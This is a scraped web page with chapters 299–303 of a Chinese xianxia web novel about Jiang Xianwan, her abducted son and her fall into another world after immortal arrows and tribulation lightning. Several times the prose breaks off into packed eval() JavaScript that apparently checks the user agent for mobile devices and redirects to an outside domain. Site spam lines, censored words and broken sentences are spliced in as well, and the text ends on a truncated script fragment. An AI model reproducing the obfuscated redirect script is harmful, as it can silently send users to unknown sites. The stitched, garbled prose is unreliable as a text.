l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218537|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我藏好了就去接你!” 月离:“你能不能跑快一点?我现在就去接你!” 水涟:“三王这些天一直念叨你,要你过来点界碑,昨天还跟我说让我们把你诓过来,要不就把界碑搬过去。对了,你现在出发了吗?走到哪了?我现在已经出门了!” 水涟:“我好想你,现在就想你到!” 月离迷音:“我也想你!来了能不能不走了?今天我们和三王把三十三座殿又抹了一遍,三王说界碑不亮,也不让你走!” 水涟:“你要敢走我就敢哭!” 月离:“蠢货!谁让你们说了,她不来怎么办!” 江献晚:“……” 顶着三个男人莫名的视线,江献晚若无其事,将玉简飞快纳入袖中。 “界皇。” 三个男人唇齿间不由缓慢浸吟着这三个字,绞着江献晚面颊的灼热的眸光,简直一模一样。 齐声道:“这个,可以有。” 远古大陆,也该是多出一个强者,两境三域,尽数归服。 江献晚:“……” 睡服的服吗? 那可不行。 月离他们的话,听听就算了。 她现在的修为,还不足以掌管一域。 这个位置给她,她也不要。 “这个,以后再说。” 花不休他们当然知道她的想法,自是依她所想,顺其自然。 心底却莫名有个念头。 这一天,恐怕不会太久。 有些人,倾尽所有,都到不了的位置。 有的人,生来便矗立其上,甚至无需抬眸。 现下想来,林轻染觊觎界皇之位,江献晚要厄弓,便如那墓碑突然出现,或许皆是天意所归。 他们无法探究江献晚到底是何人,只知她无论是何人,他们从此也不会分开。 只是,还有一件事。 云为泽眸光落定在江献晚唇上,忽然重重捏了捏额角,继而幽怨道:“晚晚,我要闹了。” 他再大度,也不希望江献晚有更多的男人。 方才那三个人魔妖吵吵闹闹、委委屈屈的模样,比狐狸和非翎,来的还要直白热烈。 帝隐又拨了拨他自个的小铃铛,虽没说话,意思也很明显。 他自然是有小私心的。 他想与江献晚有更多待在一起的时间。 花不休摁了她的脑瓜,直截了当,“孽徒,七个不能不再多了。” “为师,也会闹的。” 江献晚:“……” 第 299 章 不见 天将将擦黑江献晚捏着小笼包吹了两下迫不及待咬了一小口。 只是堪堪步入繁华郡一种毫无征兆尖锐的刺痛猛地攮入心口。 她面色急剧苍白骤然抬手死死摁上心口。 拂袖点足落在檐角之际衣裙如水浪乍开。 与此同时。 一股恐怖的妖力蛮横的在繁花郡上空轰然荡开。 那人一步凌踏于虚空之上 巨大的动静瞬间惊动了繁华郡所有修士纷纷抬首或急急奔出街道。 “好强悍的妖力!竟敢在我人族地盘如此嚣张?!” “那是……妖帝风回雪?!” “妖帝为何会出现在繁华郡?” “他竟然将整个繁华郡都封锁了这是要做什么?!” 江献晚面色一变点足几个起跳瞬息掠上数重屋瓦举目急巡。 视线锁定在那浑身浸染在滔天煞气之中的男人。 他独立于苍穹之下本该秾丽风流的样貌其容狠戾狰狞之色几破面庞。 周身煞气如墨云翻滚翻搅不休仿佛炼狱归来的修罗正欲择人而噬。 江献晚踉跄着差点跌落发足跃过重重楼宇鹞子般纵身一跃。 短短片刻繁华郡转眼已乱作一团。 苍穹仿佛被无形巨力撕裂巨大的玄武像凝现在虚空。 天雪白尾兽身形暴涨仰首发出一声愤怒的咆哮冰雪之力自体内奔涌而出。 两股威压将整个繁花郡尽数吞噬还在向四面八方迅速蔓延似乎在搜寻什么。 狼太灰和白羽揪着几个人嘴里嘶吼着“快去找!” 还有三个在崩溃边缘徘徊红着眸子仓皇向她看来的青衣少年。 江献晚来不及和苏清流他们说什么甚至听不到他们朝她说了什么。 她脚下无数观望的人族突然如潮水般向四处快速散开恨不得顷刻将整个繁华郡掀个底朝天。 “十条灵脉!十把伪仙器!三个无条件允诺!” “快找!” “只要找到妖域小殿下就发 听说看这本书的人都是很幸运的,分享后你的运气会更棒 了! “谁这么不要命敢**妖帝命根子!这不是找死么! “有没有见到一个这么大的小娃娃?! “别做饭了!出来! 望着这一幕,江献晚只觉浑身的血液都凉透了,脚下如同踩在棉絮上,虚软的找不到支撑。 她张了张嘴,勉强挤出一丝干涩的声音。 “风回雪! 风回雪高大的身躯剧烈地摇晃一下,他踉跄着转身,泪珠便无声地、迅疾地滚落下来,与他极力维持的冷静形成惨烈的对比。 血色尽褪的嘴唇蠕动着,唯余下绝望,几乎悲鸣。 “晚晚,行行不见了。 江献晚落在他身前,脚步虚浮,却拥住了如同一座崩塌的山岳般,轰然跪下的男子。 “行行……不见了。 “我们的儿子……不见了。 风回雪面颊埋在她腰间,泪水洇湿的衣衫,哽咽着,泣不成声。 他只是去了厨房片刻。 他只是去了厨房片刻! “行行,不见了。 江献晚浑身冷的生疼,仿佛全身的骨头被抽走,仍稳稳拥紧他。 迅速迫使自己冷静。 风回雪既然施下针对繁华郡的结界,那便证明他及时发现了行行不见。 大师兄他们定然亦不会让行行离开视线范围。 江行行的消失,是在瞬息之间! 短暂的时间,哪怕对方修为再强悍,也不可能这般快离开繁花郡。 以风回雪的能力,神识却又不可能搜不到江行行的气息! 掳走江行行的,又会是谁? 不过是与风回雪有怨,或者……已经知晓她与行行关系,与她有怨。 江献晚阖了阖眸,纤细白皙的指揭了面具,滟浓的面庞出现在众修视线。 她睨向惊愕望来的无数道目光,声音冰冷,带着狠厉的杀意,传向整个繁花郡。 “敢劫我江献晚的儿子,躲着做缩头乌龟,不敢现身? 林轻染提前脱身了! 是她,是她劫走了江行行! 众修一骇再骇。 “江献晚!那是江献晚 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 !” “风行行不是风回雪的儿子吗!” “妖域小殿下是江献晚的儿子?!” 风回雪和江献晚紧紧交扣着手,似乎才能给彼此一点镇定,神识一寸一寸,不停的搜寻。 望着乱糟糟的一幕,还有目眦欲裂,做着无用之功,疯狂找人的几个男人。 隐在诡异朦胧之中的林轻染,扫了一眼系统空间蜷缩的小娃娃,脸上露出一个狰狞笑相。 这一个个,无论是苏清流、白子夜、林玉锦,还是狼太灰与白羽,又或者风回雪,皆是她的美人图鉴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218538|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 现在,却都为了一个小娃娃,为了江献晚,作出这样一副癫狂相! 风行行竟是江献晚的儿子。 可笑! 若不是系统检测到六个美人图鉴皆汇聚在同一个位置,汇聚在此地。 她还不知! 既然江献晚来了,那便,在去界域之前,刚好除去她这个变数! 她的儿子也会因她,受到无尽的磋磨! 林轻染不堪折磨,在雾渺眼皮子下脱困,双手还滴淌着血珠。 强忍着被折磨后的剧痛,缓缓举起厄弓。 系统察觉到了三股气息,正往此处疾掠而来。 那又如何? 南北帝尊来了如何,凤仪剑尊来了又如何? 所有人在又能如何! 今晚,她便要这些男人,她的美人图鉴,亲眼看着江献晚死在他们面前! 系统声音因太过激动而显得格外尖利,“杀了她!杀了江献晚!” “再没人能阻拦我们!今日便让他们亲眼看着江献晚死在他们眼皮下!” “美人图鉴既然不从,便一并除去!我倒要看她是去救苏清流他们,还是风回雪,又或者自己先逃!” “哈哈哈!她自个都躲不开!谁都别想救!” “风回雪护不住她!” “谁都护不住她!哈哈哈哈哈哈哈!” 林轻染在系统癫狂的厉声呵斥中,脸上浮出一种扭曲的兴奋,死死握紧颤抖不已、几欲脱手的厄弓,素手搭上弓弦。 弓弦拉至满月,拖曳出五支笔直而耀眼的金色轨迹。 淡淡的仙力覆于其上,那是超出这片大陆上顶级存在,无人能敌的力量。 她死死盯着那道与风回雪手指交握的女子,指尖毫不犹豫,用力一松。 甚至没有发出半点响动。 五道金色的箭矢,突兀刺破空间,裂空而来。 箭簇上缭绕的仙芒,裹挟着煌煌天威,所过之处连空气都在哀鸣、避退。 冰冷无情、足以湮灭凡俗的仙力法则。 凡人眼中,只看到一线刺目的流光撕裂天地,如同整片苍穹塌陷,一时间四散奔逃。 那金箭来的太快,毫无征兆。 只见几道极细的金线,凭空割开视野,其锋锐之意,似能将目光都一并刺穿。 几乎在那金色流光映入眼帘的刹那,那冰冷的、被死亡锁定的颤栗感已先一步攫住了心脏。 让人四肢僵硬,只能眼睁睁看着那点金芒在瞳孔中急速放大。 第 300 章 归 “大师兄! 江献晚瞳孔骤缩。 尖锐刺耳的颤音,犹如一柄利刃,白羽和狼太灰骤然从冷水泼头的惊恐中惊醒。 涣散缩紧的瞳孔还未来得及重新聚焦,舍了所有的退路般,将自身化作一柄离弦,扑到了苏清流三人身边,撑起一道光罩。 苏清流三人以灵力阻拦那三支箭矢之际,眼眸迸出一层猩红,嘶吼出的声音,在这一刻割裂。 “小师妹! 几乎所有的人都在尖叫,在他们面前奔逃。 不知是因为那些含着天威般的箭矢,还是突然出现的空间裂缝,和其中那道手持着**的模糊黑影。 江献晚声落的那一刹那,花不休三人从虚空一步踏出,一种近乎同归于尽的狂暴力量,朝着三支箭矢截去。 一袭残血红衣的少年出现在繁华郡上空,现身刹那,他甚至未有半分停滞,唯有一双眼中迸发着焚尽一切的疯狂与凶戾。 手中长剑发出一声撕裂魂魄的尖啸,狠狠朝裂缝中那道模糊人影擎出。 而风回雪在看到气流扭曲了的那刻,本能的调动浑身妖力,不顾穿心而来的箭矢,一把将江献晚往旁边推开。 却**献晚反手狠狠推开。 轰—— 一声巨大的音爆。 仿佛整片天地间的空气,一息之间,压缩到极致,轰然爆开! 被花不休他们截下的箭簇,寒光凛冽,裹着凄冷,如同坠落的陨星。 覆于其上的仙力并非单纯的巨力,而是带着天威的森严意志,从四面八方挤压而来,要将他们每一寸骨骼瞬时压碎、每一分神识都碾磨成齑粉。 根本不是“推 花不休他们脚下一寸寸向后滑退,衣袍猎猎作响,发丝狂舞。 颈间的青筋暴凸而起,如同虬龙挣扎,牙关紧咬,唇角渗出缕缕鲜红的血线,沿着下颌滴落,在衣襟上溅开触目惊心的暗痕。 风回雪倒飞出去的那刻,眼白布满了疯狂蔓延的血丝,瞳孔却缩成了两个针尖般的黑点。 他几乎无法眨眼,连本能的反应都被剥夺,整个世界只剩下眼前那令他肝胆俱裂的景象。 两支金色箭矢一前一后 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,锁定了江献晚的后心与胸口。 “晚晚! “小师妹! “江献晚! “晚晚! 已分不清都是谁凄厉、绝望的嘶吼声。 非翎额头上、鬓角处,豆大的冷汗不是渗出,而是顷刻间汹涌而出,沿着僵硬的皮肤纹理蜿蜒,冰冷地淌过太阳穴。 每一根面部肌肉都在不自然地痉挛、抽搐,扭曲出一种完全失控,非人的表情。 他身形疾掠,双眸一片赤红,其躯已横跨虚空。 箭矢再次从凭空出,将空间割裂出极细微的缝隙,洞穿他的肩头,从他发狠攥上的掌心直接穿出,直奔江献晚。 江献晚避无可避。 在推开风回雪的那刻,箭矢已至身后眼前。 她亦,未打算避开。 衣袂都未曾拂起一丝涟漪,仿佛那足以撕裂山河、崩碎神魂的仙力箭矢,于她而言,不过是一阵无关紧要的微风。 周遭因那箭矢而狂乱奔涌的灵气、飞沙走石,在迫近她周身三尺之时,便如同撞上了一堵无形壁垒,骤然凝滞,继而无声湮灭。 她缓缓握上突然硬生生、震颤着悬停在她背后与心口的三支箭矢。 声音冰冷苍白,带着冻结一切的寒意: “他们若死,我便碎了你! 急哄哄追来,想朝林轻染狠狠拍下,将厄弓一并抢回的墓碑,不得不转身。 一股完全碾压那仙力箭矢的恐怖力量,在花不休他们的灵力光罩轰然炸裂之际,随着一砸,将那三支箭矢碎作万点星芒! 此刻,又是一片金色箭矢破空而来。 而江献晚身后,猛地被撕开一道狰狞的裂口。 溢出混沌不明的幽暗流光,宛如一道淌着脓血的丑陋伤疤,横亘于天际。 紧接着,一股难以想象的吸力从中爆发! 江献晚脚步不可控制的退后一步,一手死死扒着缝隙的边缘,顶着巨大的吸力,缓缓举起手中三支金色箭矢。 猛地朝虚空那道裂缝中的身影,狠狠掷出! 望着又一次突如其来的绝望一幕,风回雪心脉连番受损,一口滚烫的心血抑制不住,随着绝望的嘶吼声,喷溅而出。 “晚晚 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218539|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> !” 他于空中幻出本相,四足踏风,以决绝的极致之速扑去! 所经之处只余下尖锐的音爆和一道灼目的轨迹。 同另外三双手爆发出极限的力量,扒上了那将江献晚吸进去,试图闭合的缝隙。 云为泽和帝隐一左一右,四只手如同最坚固的铁钳,硬生生**那扭曲蠕动的裂隙边缘,顷刻被绞的一片血肉模糊。 两人双目之中血丝爆裂,如同蛛网密布,亦有惊恐泪意。 死死咬着牙关,将周身法力毫无保留地倾泻而出,对抗着那如同天道合拢般的巨力。 “江献晚!” 花不休满目汲红,抵着巨大的吸力,殷红的血液从苍白的唇角涌出,每一个字都裹挟着滚烫的血气,碾出齿缝。 与非翎风回雪一起,探出三只血淋淋的手,死死扣住了江献晚的手腕。 温热的血液瞬间溅了江献晚满脸,她看不清那五双几乎要淌出血液的眸子。 还有他们背后,五个蝼蚁般,却不要命的合力扑向林轻染的男子。 唇边蠕动两下,将拽不出她,试图与她一同进入缝隙的五个男人,用力推出。 墓碑接了一片箭矢,碑身裂开几道裂纹,急急调头,化作一抹流光,紧随其后,消失在闭合的缝隙。 “噗!”林轻染被三支箭矢洞穿,喷出一口血。 无力再击杀那些突然愣在原地,表情空茫,血污满身的美人图鉴。 更不欲再思考那几支箭矢为何悬停在江献晚跟前。 看到那个早就该死、与她作对的人,消失在突兀间裂开的裂缝,发出一声粗粝的模糊笑音。 江献晚**! 江献晚终于**! 老天都在帮她! 她毫不留恋,赶忙撕开一张,系统早就准备好的传送符。 轰—— 一道震耳欲聋的爆鸣传至! 刺目的紫电悍然炸开云层,如九天巨**,以撕裂苍穹之势,带着湮灭一切的极致速度与轰鸣,瞬间贯下! 随着她跌落在缝隙之中,一个小小的身影从虚空坠落,眨眼消失。 这一切,从头到尾不过几十息。 宛如末日临世的繁华郡,被骤然抽干了魂魄,只喧嚣短短片刻,沦于死寂。 第 301 章 远离八卦 这两日,街头巷尾的新鲜八卦,可谓是说之不完,谈之不清,真真比那春日的柳絮,还要纷乱稠密。 “当!” 一声惊堂木脆响,如金石炸裂,压下茶馆的嘈嘈切切。 南来的北往的,歇脚的喝茶的,纷纷竖起耳尖。 说书先生环视台下,满意的捋捋胡子,这才不紧不慢地开口。 声音陡然压低,带上了几分神秘: “列位看官,今日咱要说的这桩奇事,可就发生在咱们这繁花郡里头。” “且说昨日黄昏,一神秘女子掳走妖帝风回雪之子风行行,妖帝震怒,神识笼罩整个繁花郡,用十条灵脉,十把伪仙器和三个无条件允诺,惹的多少修士红了眼,恨不能掘地三尺,满城搜寻那妖女踪迹……” “正在此时,一女子……” 有人举手打断,“这些大家都知道!我想听妖域小殿下的亲生父亲到底是谁?” “对!我也想知道!” “别说,剑尊和咱们帝尊以命相护,还能理解,毕竟太虚宗出了名的护短狂魔,北帝尊和魔皇为何也会为了江献晚,如此不要命?” “两境两域紧接着发出对林轻染的追杀令又是为何?难不成她就是那个掳走风行行的神秘女子?” “我很好奇妖域小殿下的亲生父亲,到底是谁?” “南帝尊,还是北帝尊,又或者……凤仪剑尊?!” “我怎么觉得都有可能?不过,别管是谁,江献晚就这么**,说真的,我有点不能接受!” 看着兀自聊起天的众人,说书先生急的双手直摆,试图让大家伙安静下来,听他讲。 “不是,你们倒是听我说啊!” 他们都说了,他说什么? 他还赚什么钱? 好不容易出了这么大一件轰动两境三域的事儿。 再说,他很享受万众瞩目的感觉好吧。 然,没人管他。 众修越扒,越震惊。 “你们有没有觉得玄古大赛,帝尊剑尊,妖帝魔皇,他们这五个全去了,现在想想很不对?” “是啊,且不说妖帝魔皇,两位帝尊和剑尊从不管这种闲事,以前两境大比那么多次,也没见一个去啊。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “还有那晚,剑尊他们几个突然在云舟上打架,还把云舟给干炸了,你们记得不?” “我去!你这么一说,他们几个不会都是因为江献晚去了,才会跟着去,争风吃醋打了一架?” “嘶!极有可能!剑尊与咱们帝尊为了江献晚,杀了十几个修士,魔皇和妖帝当时可是无动于衷!” “这俩是什么吃亏的主吗?可连一句话都没说!” “还有东边那条街,南北两境落脚的客栈被雷劈的事儿,后来我听掌柜的说,魔皇妖帝他们几个当时似乎都在!还起了什么争执,引来了劫雷,就是昨晚劈了那个妖女,跟江献晚穿一条裤子的小紫!” “天啊!那这么说的话,魔皇和妖帝都是江献晚的男人?!” “那咱们帝尊和剑尊?还有北帝尊,嗯?” “看昨晚他们的疯劲和后来反应,我觉得这几个,全、都、是!” “那风行行的生父,你们觉得会是谁?” “按照风行行的年纪,我觉得不可能是剑尊和咱们帝尊的儿子!你们有没有听过,她曾经似乎在万古宗养过灵兽?” “我也听说了,她好像在烟雨城住了一年,卖了许多那种书!” “你们有没有发现……风行行长的很像……” 众人眼睛各个那叫精明,齐声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218540|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“风行行是北帝尊的儿子!” “妈呀!江献晚真乃神人!找男人的眼光简直跟她团粪球的能力有得一拼!” “这五个都被她给收了?!牛逼啊!” “那又怎样,还不是香消玉殒,尸骨无存,儿子也没了。” “谁说不是呢。” “放屁!统统放屁!” 一个坐在角落,双眼红肿的少年,砰地一下掰碎了桌子。 “闭嘴!我小师妹不会死的!” “再敢胡说,我杀了你们!” 众修:“……!” 失策。 众人猛地噤声,纷纷侧目看向角落三个身着青衣的少年,一时间齐刷刷低下头。 那掀了桌子的少年,眼中噙泪,白皙的面颊还带着几块脏污,双拳紧攥,表情恨不能**,下一秒似乎就要大开杀戒。 说书先生吓的脸煞白,哆哆嗦嗦,不敢言语。 苏清流起身穿过热闹的茶楼,下颌有泪珠坠落,没入衣襟。 他停在门槛处,没有回身,只冷漠的吐出一句。 “我小师妹,没有死!” 白子夜捏着灵笔的指骨用力到泛白发青,一一扫过众修,轻笑的模样却是令人胆寒的疯癫。 “再让我从你们口中听到一个死字,我便杀、了、谁!” 众修:“……” 远离八卦。 珍爱生命。 林玉锦步出茶馆,狠狠用袖子一抹泪,“一群不盼人好的狗东西!我小师妹才不会死的!绝对不会!” “行行也会没事的!” 白子夜别开脸,胡乱擦去眼角泪意,语气坚定,“对,不会有事的!” 小师妹最后说了两个字:“等我。” 可。 风回雪和小师妹之间的灵契,已然消失。 第 302 章 天地胎藏 一个腰窄腿长约莫十六七岁年纪生得一副清绝殊丽容貌的少年哭的可谓是撕心裂肺上气不接下气。 羊脂玉似的白皙面颊泪珠鼻涕乱淌生生将昳丽的脸蛋哭的一片稀碎、不忍直视。 “天打雷劈的狗天道!特么没说还有这节目啊!我主人要是**!谁他妈都别想活!” “待我杀回去定要搅得仙庭天翻地覆!六界不宁不安!全都给我主人陪葬!” 他骂着骂着伏在她身上又是一阵嚎啕大哭“凶娘们你是不是不要我了!” “你睁开眼睛看看我!” “呜呜呜……你要是**我就种你坟头!” “你生我生你死我死你我二人永生永世不得超……不分离!” 江献晚:“……” “闭嘴!” 谁要跟他永不超生! 哭哭哭! 她还没死呢! 江献晚猛地掀开睫毛还未看清眼前的情景那趴在她身上哭的跟个狗似的少年先是一愣。 而后……长腿一迈骑了上来。 顺便将泪和鼻涕一股脑全抹在她身上。 刚睁开眼又被一屁股坐回去的江献晚:“……” “呜呜呜你醒了!你终于醒了!” “我刚才差一点就要把你给埋了把自个种你脑袋上了!” “没良心的虎娘们吓死我了我还以为你要**!” 江献晚闭了闭眼睛手指掐了他的后脖颈“你再不从我肚子上滚下来再把胳膊抱紧点再哭的大声一点我现在就要**!” “还有!不要把你的鼻涕蹭我身上!吸回去!” 黑衣少年:“……” 对上一双冰冷的眸子嚎啕声一止默默吸了两下鼻子。 再默默松开死死锁着她脖儿的两条胳膊。 最后……默默坐直将自个的屁股从她肚子上挪下来。 轻咳一声心虚抬起脑瓜。 都怪方才那些男人各个不顾死活拯救江献晚的一幕太令碑感动。 又因为江献晚的即将回归感动加激动 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 江献晚没管他支着手从湖镜上缓缓坐起身。 陡然进入到一个仙气鼎沸似没有尽头的世界她面上并无惊讶。 恐怖的残影似数不清的丝线于她眸中衍化出无穷剑意。 杀戮与无情之气纵横交织相辅相成沛然冲霄令周天星轨为之紊乱**乾坤为之黯然。 江献晚微微阖上眸子。 杀戮之道 两道同修。 这里是墓碑中的世界方才那少年便是碑灵。 在她睁眼的刹那那些剑意虚影又无声泯灭转成另一种景象。 苍穹一半黑夜一半白昼。 金轮悬于穹顶中央带着不容置疑的威仪俯视苍生喷吐着金红的焰流几乎要灼穿天幕将下方浮动的云海煮沸。 然而就在这煌煌赫赫、君临一切的光焰边缘。 幽冷的月轮低垂在天幕一角清寒的光晕宛如一声无声的叹息飘荡在灼热的天穹之上。 在金轮那不可逼视的光晕所未能吞噬的幽蓝深处细碎的星辰竟也未曾完全熄灭。 微弱地点缀着如同墨玉盘上残留的银粉。 白昼与黑夜相互浸染浩瀚而诡异竟能在同一片虚空里找到彼此的位置。 可这些都不足以在她心中掀起半点波澜。 她盘膝**视线追随着一道道流星划过、湮灭在身侧少年鬼鬼祟祟往下瞥的小动作下微颤的睫毛极慢、极沉的垂落。 便看到湖镜之下…… 两条龙形仙脉彼此首尾相衔磅礴的身躯构成了一个完美无瑕、流转不息的太极阵图。 仿佛天然的洞天福地吸摄周天星辉汇聚八方精粹锁住了天地间最本源的力量。 为其隔绝了一切外邪**了一切躁动只将最温和纯粹的造化之力源源不断地注入其核心。 而在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218541|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那仙力最炽盛沸腾的阵眼核心光华如卵膜般包裹着一物—— 一扇巨大而流光熠熠的蚌壳。 视线仿佛在这一刻凝滞。 那诡异而令人敬畏的图景沦于一帘画幕。 她死死盯着那扇禁闭的蚌壳几乎将其灼穿一般面颊上的血色一点点褪 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 尽,苍白如破裂的脆弱纸张。 它的庞大足以令巨鲲敛翅,两片蚌壳严丝合缝地紧闭着,弧线浑圆完美,仿佛天地初开时凝结的一枚混沌元胎,悬浮于氤氲仙雾之中。 蚌壳之外,仙气如潮,永恒不绝。 所有的仙力都在朝着那蚌壳,无休无止的倒灌,催的莹润生辉。 似无数种色彩被碾碎、熔炼后,泼洒出的、流动不息的流光画卷。 天地胎藏。 在无尽的寂静中,等待着圆满脱出的那一瞬。 江献晚骤然喷出一口血,双眸失去颜色,只余一片死寂的混沌与漆黑。 视线如同冰封,直勾勾的钉死在湖镜之下那扇蚌壳,万物皆成虚无的布景,映不进天光,呼吸与血液一同凝固。 唯有噬心的痛楚余波。 “想出去吗?” 天音煌煌,溯流光,越千嶂,声之所至,虚实莫辨。 江献晚缓缓移开目光,眼底浮出一抹讥讽。 “不该是,你想不想让我出去?” 那声音沉寂许久,再度响起时,空寂飘渺,却如千钧之力凝于一线,精准拿捏扣住了她的命门。 “或者,江行行的生死。” “又或者,这仙蚌中之物。” 逆子倒行逆施,扭转命运纺锤,干犯天条,无异于在神圣的书卷上泼洒污血,是所有因果都不能容许的僭越。 若不是那超出六道之外的邪物,搅动星盘,岂容她一再放肆。 双生子又如何能被她挣来一线生机,改写命书。 第 303 章 吾皇 江献晚从镜湖上起身,脸上没有任何表情,一双眼睛尤为空洞,深不见底,也映不出丝毫光亮和温度。 话说的可谓是十足放肆。 “我、想、你、去、死。” 将她拉入此处,拖她后腿,还想拿江行行的命要挟她,问她想不想出去? 贱!!! 死贱死贱! 天道:“……”逆子!!! 她是不是以为她自个才是那个天道! 谁家逆子能做成她这副撬翻整个仙庭的疯狗样! 两股无形的力量对峙,时间如磐石般,一分一秒的流逝。 那道声音空寂褪去几分,竟染上了一丝凡俗的、无奈透着冷硬的情绪。 “犟骨难摧。” “冥顽不灵。” 这就是她为什么总会被小紫劈的缘故! 一张嘴,就是贱! 江献晚不想同天道打什么哑谜,极度的焦躁与混乱,如野火般焚尽最后一丝理智。 心念动处,身后虚空骤然震颤,万道剑意锵然铮鸣,森然列阵,煌煌威势直欲撕裂苍穹! 一字一字,透出非人的冰冷与空洞。 “去、死!” 万道剑意朝虚无倾轧而去,日月为之震颤,运行轨道几欲移位,星辰如筛糠般战栗,仿佛下一刻便要自苍穹倾覆而下。 啪—— 一声裂响,天道怒不可遏,剑意竟应声迸裂,炸作万千点寒光四溅的琉璃碎片,如一场猝然而降的凛冽星雨,迸落于镜湖之上。 “江献晚。” “想、打、你、很、久、了!” 趁她弱,劈个够! 况且…… 这疯狗逆子,吃的苦,也着实够了,修为这般不够看,总被邪物压一头像什么话? 也该是尽快仙光重聚,神归其位,滚回来的时候了! 一道粗壮的劫雷应召而来,小紫夹在中间,又是心虚又是兴奋,想说什么又不敢说。 心一横,只能轰然劈落! 劫雷一道未平,一道又起,毫不停歇地接踵而至,将这处世界彻底化为一片狂暴的雷池电海,疯狂犁扫。 “**你……” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 黑衣少年刚撸起袖子,就被天道死死锁定,双膝噗通一跪,满嘴脱口的脏话,被迫堵回肚里。 天道:“……”这狗东西,一天到晚跟着江献晚厮混在一起,也不是什么好玩意儿! 江献晚身形丝毫未动,那道道劫雷并非指向她,而是湖镜之下巨大的仙蚌。 一道道炽盛的天雷如暴雨倾盆,连绵不绝地轰击而下,誓要将其彻底湮灭,碾为齑粉。 她下意识将仙蚌护的密不透风,五指虚虚一握,扯了小紫,狠狠甩出。 “你他娘再劈一下试试!” “草******!” “你******当我是死的!” 小紫:“……” 天道:“……” 真的。 她骂的好脏! 还不如以前只会说“**”呢! 江献晚双眸已是洇红,不知是被迫接了百十道天雷,亦或者修为如竹拔节飙升,太过滂沛的灵力,撞的她筋骨神魂皆是剧痛。 轰—— 又是一声! 小紫:“……” 在天道授意下,被迫用力将自个一甩! 而江献晚……被一个结结实实的大逼兜扇入另一个世界。 她神魂下坠,仍不忘梗着脖子,破口大骂。 “狗天道!你特么最好给老娘躲好了!等老娘……” 轰—— 最后一道粗壮的劫雷当头落下,将她与她的满嘴脏话,彻底劈进时空通道。 江献晚足足盯了脚下的尸山血海两分钟,终于回过神一脚踢爆一头热烘烘的魔兽尸体。 而这轰然爆成一片血雾的场面,使得她再次沉思三秒。 她低头看了看脚,三个从头黑到脚的少年忽然不知从哪个地方蹿了出来。 兴奋而荡漾! 撕心而裂肺! “嗷!吾皇——!” “吾皇吾皇吾皇!” “我家皇呀呀呀呀呀~” 江献晚:“……” 吾皇? 她登基了? 很快,她便发现这三个少年的黑袍子很是眼熟。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这不是……月离他们穿的遮羞布吗?! 江献晚站在尸骨堆上睨着三个少年眼底神色晦暗不清。 界皇。 她来到了三百年前? 她脚上并无铃铛墓碑也不见身上的芥子囊包括这一身织金的黑裙都不是她的。 可这具身体又分明是她自己的。 江献晚不露声色也……根本无法露出任何情绪。 杀戮无情二道并修于身 使得她心底都碾作一片一无所有的死寂。 这死寂是绝对的虚无万籁俱寂。 担心行行的痛楚都在这种类似心如死灰的情绪中泯灭一般。 仿佛。 任何东西此刻都在她心中掀不起半点波澜。 江献晚想挤出一丝笑却发现无法掌控这具身体只能顶着一脸漠然空寂的神色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 